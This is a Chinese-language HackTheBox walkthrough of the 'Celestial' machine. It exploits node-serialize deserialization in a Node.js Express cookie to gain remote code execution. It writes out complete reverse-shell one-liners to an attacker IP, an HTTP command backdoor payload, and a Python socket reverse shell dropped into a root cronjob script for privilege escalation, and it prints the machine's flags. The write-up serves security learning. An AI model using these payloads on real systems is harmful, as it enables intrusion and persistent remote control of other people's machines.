Celestial

1
TARGET="10.129.228.94"

Celestial - HTB Medium

Node.js Express 框架,利用 node-serialize 反序列化漏洞获取 RCE,通过 adm 组权限读取系统日志发现 root cronjob 实现提权。

01.信息搜集

Nmap 端口扫描

1
sudo nmap -sT -sV -sC -O -p 3000 $TARGET -oA nmapscan/detail
1
2
3
4
5
6
PORT     STATE SERVICE VERSION
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8)
Device type: general purpose
Running: Linux 3.X|4.X
OS details: Linux 3.2 - 4.14

仅开放 3000 端口,运行 Node.js Express。

Web 目录扫描

1
gobuster dir -u http://$TARGET:3000/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 50

无其他路径,仅根路由 /

Nuclei 指纹识别

1
nuclei -u http://$TARGET:3000/ -tags express -severity critical,high,medium

无已知 CVE 命中。

02.漏洞发现

首次访问 / 返回 404,同时 Set-Cookie:

1
Set-Cookie: profile=eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D

Base64 解码:

1
{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}

携带该 Cookie 再次访问,返回:

1
Hey Dummy 2 + 2 is 22

2+2=22 暗示字符串拼接而非算术运算。

报错信息泄露

修改 num 为非法值触发报错。

num 设为 % (JSON 解析阶段报错):

1
2
3
4
SyntaxError: Unexpected token %
at Object.parse (native)
at Object.exports.unserialize (/home/sun/node_modules/node-serialize/lib/serialize.js:62:16)
at /home/sun/server.js:11:24

泄露关键信息:

  • 用户名: sun
  • 序列化库: node-serialize
  • 服务端路径: /home/sun/server.js:11 调用 unserialize()

num 字段 eval 行为分析

1
2
// server.js:13
var sum = eval(obj.num + obj.num);

不同 num 值的测试结果:

num 类型 eval 表达式 结果 说明
"2" string eval("22") 22 字符串拼接 → eval
"1" string eval("11") 11 同上
"0" string eval("00") 0 00 八进制 = 0
"A" string eval("AA") RefErr AA 未定义变量
0 number eval(0+0) 0 算术运算
22 number eval(22+22) 44 算术运算

server.js 完整源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
app.use(cookieParser())

app.get('/', function(req, res) {
if (req.cookies.profile) {
var str = new Buffer(req.cookies.profile, 'base64').toString();
var obj = serialize.unserialize(str); // 漏洞点①: 反序列化
if (obj.username) {
var sum = eval(obj.num + obj.num); // 漏洞点②: eval 注入
res.send("Hey " + obj.username + " " + obj.num + " + " + obj.num + " is " + sum);
}else{
res.send("An error occurred...invalid username type");
}
}else {
res.cookie('profile', "eyJ1c2VybmFtZSI6IkR1bW15...", {
maxAge: 900000,
httpOnly: true
});
}
res.send("<h1>404</h1>");
});
app.listen(3000);

两处注入点:

  • 漏洞点①: serialize.unserialize()_$$ND_FUNC$$_ 前缀触发 eval() 执行函数
  • 漏洞点②: eval(obj.num + obj.num) — 直接 eval 但 num 值被双写

03.漏洞利用

node-serialize 反序列化 RCE

node-serializeunserialize() 遇到 _$$ND_FUNC$$_ 前缀时,将后续内容作为函数体通过 eval() 执行。

基本 Payload 结构:

1
{"username":"_$$ND_FUNC$$_function(){...代码...}()","country":"...","city":"...","num":"2"}

方式一: 反弹 Shell

1
2
3
4
5
6
7
8
# 攻击机监听
nc -l 4444

# Payload
REV_SHELL='rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.17.30 4444 >/tmp/f'
JSON='{"username":"_$$ND_FUNC$$_require(\"child_process\").exec(\"'"${REV_SHELL}"'\", function(e,o,s){console.log(o)})","country":"L","city":"L","num":"2"}'
ENCODED=$(echo -n "$JSON" | base64)
curl -s -b "profile=$ENCODED" http://$TARGET:3000/

方式二: 创建 HTTP 后门 (端口 443)

1
2
3
4
5
6
{
"username":"_$$ND_FUNC$$_function(){const http=require('http');const url=require('url');const ps=require('child_process');http.createServer(function(req,res){var q=url.parse(req.url,true).query;ps.exec(q['cmd'],function(e,o,s){res.end(o)})}).listen(443)}()",
"country":"Idk Probably Somewhere Dumb",
"city":"Lametown",
"num":"2"
}
1
2
curl http://$TARGET:443?cmd=whoami
# sun

获取 sun 用户

1
2
id
# uid=1000(sun) gid=1000(sun) groups=1000(sun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

User Flag:

1
2
cat /home/sun/user.txt
# 2aacc80df076b02afdea8699e431bd00

04.权限提升

系统枚举 — adm 组权限

sun 属于 adm 组 (gid=4),可读取系统日志 /var/log/syslog

日志分析发现 Cronjob

1
grep CRON /var/log/syslog | tail -5
1
2
3
4
5
(root) CMD (python /home/sun/Documents/script.py > /home/sun/output.txt;
cp /root/script.py /home/sun/Documents/script.py;
chown sun:sun /home/sun/Documents/script.py;
chattr -i /home/sun/Documents/script.py;
touch -d "$(date -R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py)

Cronjob 执行流程 (每 5 分钟, root 身份):

  1. 执行 /home/sun/Documents/script.py
  2. /root/script.py 覆盖回来
  3. 改所有权为 sun:sun

攻击窗口: 步骤 1 执行后到步骤 2 覆盖前,文件归 sun 所有,可被修改。

写入恶意 Python 脚本

1
2
3
4
5
6
7
8
9
cat > /home/sun/Documents/script.py << 'EOF'
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.17.30",5555))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
EOF
1
2
# 攻击机监听
nc -l 5555

等待 cron 触发 (最长 5 分钟)。

Root Shell

1
2
id
# uid=0(root) gid=0(root) groups=0(root)

Root Flag:

1
2
cat /root/root.txt
# 23ef8f33607bfeef4fc736e4a443f542

05.知识点总结

攻击链路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Nmap 扫描 (3000 端口 Node.js Express)

Cookie 中发现 base64 编码 JSON

篡改 Cookie 触发报错 → 泄露 node-serialize + 路径

node-serialize 反序列化 RCE (_$$ND_FUNC$$_)

反弹 Shell / HTTP 后门 → sun 用户

adm 组 → 读取 /var/log/syslog

发现 root cronjob (每 5 分钟)

写入 Python 反弹 Shell → 等待 cron 执行 → Root

关键技术

  • node-serialize.unserialize()_$$ND_FUNC$$_ 前缀触发 eval() 执行
  • Cookie 中 base64 编码的 JSON 被直接反序列化,无任何校验
  • adm 组成员可读取 /var/log/syslog,暴露 cronjob 执行细节
  • Cronjob 执行脚本后改回所有权,利用时间窗口写入恶意代码
  • 靶机存在双重 eval: unserialize() + eval(num+num)